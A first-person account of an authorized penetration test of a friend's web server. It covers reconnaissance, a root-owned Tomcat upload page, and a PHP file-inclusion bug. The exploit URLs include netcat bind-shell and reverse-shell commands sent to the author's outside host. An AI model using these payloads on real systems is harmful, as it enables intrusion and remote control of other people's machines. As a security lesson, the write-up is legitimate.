This all started, oh, a week or so ago... (hostnames, IPs changed to protect the innocent) joff had asked a bunch of us to test the security of the machine that hosts somesite.us. This was kinda late one night, but I couldn't sleep anyway, so took up the challenge. And yes, this a box that he owns and I had/have an account on, so I wasn't violating any sort of laws/rules. I already knew a good bit about the box. It was a RedHat 9 box setup by fairly competent admins and was behind some sort of a firewall. I don't know of any local or remote exploits for RedHat 9, and figured that all of the remotely accessible services were either part of the stock in stall or were installed from relatively new, secure and stable code. A quick nmap of the host showed a bunch of services up: 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 443/tcp open https 993/tcp open imaps 8443/tcp open https-alt The ssh daemon on port 22 was new and only allowed ssh version 2: $ telnet somesite.us 22 Trying 10.0.0.230... Connected to somesite.us. Escape character is '^]'. SSH-2.0-OpenSSH_3.6.1p2 SSH-1.0-OpenSSH-3.6.0p1 Protocol major versions differ. Connection closed by foreign host. Port 22 revealed the same ssh daemon, but running on a different port. Port 25 was what appeared to be a postfix SMTP server. I few quick checks for relays proved pointless, as postfix ships relay-free by default. I then checked for common misconfigurations. I tried the 'vrfy' command, which allows a user to verfiy if a recipient exists: $ telnet somesite.us 25 Trying 10.0.0.230... Connected to somesite.us. Escape character is '^]'. 220 falling.somesite.us ESMTP Postfix helo foo 250 falling.somesite.us vrfy root 252 root vrfy joff 252 joff vrfy f 550 : User unknown This tells me that users 'root' and 'joff' exist as valid mail recipients, whereas 'f', not surprisingly, does not. Not only does this give me targets to send malicious mail to, it gives me a good idea of what actual accounts might exist on the system in terms of daemons, etc, which gives me a good idea of what services might be running, and what accounts might be misconfigured. Port 53 was a bind 9.2.2 server: $ dig @somesite.us chaos txt version.bind ; <<>> DiG 9.2.2 <<>> @somesite.us chaos txt version.bind ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 547 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "9.2.2" ;; Query time: 69 msec ;; SERVER: 10.0.0.230#53(somesite.us) ;; WHEN: Mon Sep 8 01:05:46 2003 ;; MSG SIZE rcvd: 48 A quick poking showed that it would resolve other addresses for me (i.e., hotmail.com) and that it allowed zone transfers: $ host -l somesite.us somesite.us. NS ns1.somesite.us. somesite.us. NS ns3.somednsserver.net. somesite.us. A 10.0.0.230 admin.somesite.us. A 10.0.0.230 davedap.admin.somesite.us. A 10.0.0.230 jamm.admin.somesite.us. A 10.0.0.230 all.your.fyi.are.somesite.us. A 10.0.0.230 squirrels.are.somesite.us. A 10.0.0.230 cerebro.somesite.us. A 192.168.0.3 falling.somesite.us. A 10.0.0.230 has.fun.somesite.us. A 10.0.2.15 george.w.bush.is.somesite.us. A 192.168.0.3 dmca.is.somesite.us. A 192.168.1.3 microsoft.is.somesite.us. A 192.168.0.4 minx.is.somesite.us. A 10.0.0.230 packetstorm.is.somesite.us. A 10.0.0.230 mail.somesite.us. A 10.0.0.230 ns1.somesite.us. A 10.0.0.230 silc.somesite.us. A 192.168.0.6 spigger.somesite.us. A 10.0.0.230 theyre.somesite.us. A 10.0.0.230 webmail.somesite.us. A 10.0.0.230 www.somesite.us. A 10.0.0.230 Since the vast majority of the hosts were bound to the same IP (10.0.0.230) and I was only attacking that one machine, I parsed out the other irrelevant ones and saved that info for what would later turn into the ultimate compromise of the machine. Port 80 was an Apache 2.0.x server, port 443 was the SSL version of the same site, and 8443 was another SSL enabled virtual host. Port 993 was IMAP, but I didn't feel like poking at that much. So, I started poking at the websites. A number of things popped up on port 80: /logs which gave me information into what files people were accessing, and from where, thanks to webalizer. Yes, the info was old and outdated, but it was useful regardless. It should've been restricted to ignore certain files, or, better yet, require authentication and restrict it to certain hosts. /webmail redirected to src/login.php, which means that there is both webmail and php installed. goodie. Same deal on port 443: /usage was another, more juicy version of webalizer with three months of logs. more /webmail, just the SSL version Port 8443: /examples, which contained Tomcat jsp scripts and all the default examples. At least one allowed me to anonymously send mail to any host I wanted. The 'admin' page had all sorts of default accounts that ship with tomcat. Based on user names I had gotten from logs and other web pages, I started to view individual user sites. Nothing particularly interesting, except for a trivial-to-guess login/pass of guest/guest on http://somesite.us/~gomi, which gave me a pile of exploit code. I also stumbled upon postfixadmin, which was some PHP code used to manage a postfix machine. The service didn't work because the mysql login/pass didn't work, but it was good to know that mysql was running locally. That was basically it. I was tired, so I reported the stuff to joff and he patched most of it up. A few days later, the zone transfers were still allowed. He said that it was just information disclosure, and although it should be disabled, didn't give much useful information. I didn't think that was true, because a list of valid hostnames gave me more avenues to attack hosts on the webservers using knowledge of virtual hosting and apache. So, early this morning I once again zone transfered all of somesite.us. I put the relevant hosts in a file, and then passed those hosts to my favorite web app scanners on all three ports (80, 443, 8443). It found a lot of the same stuff, but one thing caught my attention: http://jamm.admin.somesite.us (gotten from the zone transfer) redirected to https://falling.somesite.us:8443/jamm, which struck me as interesting. It smelled like tomcat/jsp, but I thought joff had removed all that crap? So, some quick research told me that a number of things shipped default w/ tomcat, including this thing called "struts upload", which is actually /struts-upload/ on the filesystem. The word 'upload' really got me interested. Sure enough, there was a jsp script that allowed me to upload files to the system. I thought this was really cool and potentially, so I wanted to see where it was written to. I told it to upload a file to /tmp/stuff.txt. Sure enough, the contents of the uploaded file were in in /tmp/stuff.txt. I kept poking, and started scheming ways of further compromising the system. Then I saw it. /tmp/stuff.txt was owned by root. TOMCAT WAS RUNNING AS ROOT. It was basically game over at this point, because I could write files anywhere in the filesystem as root. The possibilities are endless here. Rewrite shared libraries, config files, etc, etc. The one trick was that it would only write/overwrite files, not append, so I had to be careful not to hose the system. Furthermore, files were always created mode 644, so execution was a problem. I was gonna go for the tried-and-true approach of adding a user to /etc/passwd with uid=0(root), but joff told me that those files were immutable (chattr +i /etc/passwd, /etc/shadow), so that was out of the question. Instead, I wrote the following to /etc/motd: Welcome to somesite.us Thanks for root, thanks for playing. -warchild 09/11/03 interview day, 2 year anniversary of 9/11 How many ways can you thing of to totally swiss-cheese the box like this? I could go on for pages, but I won't. This is an exercise left up to the reader. joff didn't think I could actually root the system any further, so I proved it to him. I then compromised the webserver. http://somevhost.us runs a php based website using a product called phpwebsite. You may recall a stupid little bug in the file 'modsecurity.php' that takes a variable 'inc_prefix' from user input and used that to include other PHP files. Much like the same PHP-nuke exploit, you could simply specify a path to your own PHP file on a remote machine, i.e. http://spoofed.org/foo.php which contains: That bug in modsecurity was fixed so that all occurrences of '://' in inc_prefix were removed, thereby restricting include files to be local files. Furthermore, the actual file to be included is generated with the following pseudo-code: include '$inc_prefix/htmlheader.php' So, since I could specify paths to local files and I could write anywhere on the filesystem, I copied the contents of the above foo.php to /var/www/websites/somevhost.us/roothtmlheader.php. Then, a simple browse to the following url would return the uid of the webserver: http://somevhost.us/modsecurity.php?inc_prefix=root&cmd=id 'Lo and behold, it works: uid=99(nobody) gid=99(nobody) groups=99(nobody) Again, game over. Far too many files are owned by nobody on this system, so a defacement and complete compromise is just a few keystrokes away. So, I tell joff about the root and he removes all of tomcat with a swift rm -Rf. Am I done? Heh. No. Since I still have a local account, and modsecurity.php will still happily look elsewhere for PHP include files. So, I create /home/warchild/roothmtlheader.php with the same malicious content as before, and then access: http://somevhost.us/modsecurity.php?inc_prefix=/home/warchild/root&cmd=id /home/warchild/roothtmlheader.php gets included, and the 'id' command is run and returns the same as before. Owned. AGAIN. So, this time I want a shell. So, I upload my trusty netcat binary, and visit the following url: http://somevhost.us/modsecurity.php?inc_prefix=/home/warchild/root&cmd=/home/warchild/nc%20-l%20-p%2012345%20-e%20/bin/sh Which should run '/home/warchild/nc -l -p 12345 -e /bin/sh' and bind a shell to port 12345. The '%20's are uri encoded spaces, fyi. I try connecting remotely. Hrm. No connection. I try locally. It works. So, either that port is firewalled by the ISP (possible, since its a common trojan port), or something else is up. So I switch to a random port. No dice. That told me that chances are that this machine is running a firewall and only allowing in certain ports, all of which are currently taken by legit services. So, I send my shell offsite with the following url: http://somevhost.us/modsecurity.php?inc_prefix=/home/warchild/root&cmd=/home/warchild/nc %20-e%20/bin/sh%20spoofed.org%2012345 Then, on my home machine, I fire up a netcat listener: nc -l -p 12345 I wait for somesite.us to connect, and type/receive the following: id uid=99(nobody) gid=99(nobody) groups=99(nobody) pwd /var/www/websites/somevhost.us uname -a Linux falling 2.4.20-9 #1 Wed Apr 2 13:42:50 EST 2003 i686 i686 i386 GNU/Linux Again, game over. Joff patches modsecurity.php to not be so dumb, and I'm done. One root compromise, two webserver compromises. Total time? About an hour. -jon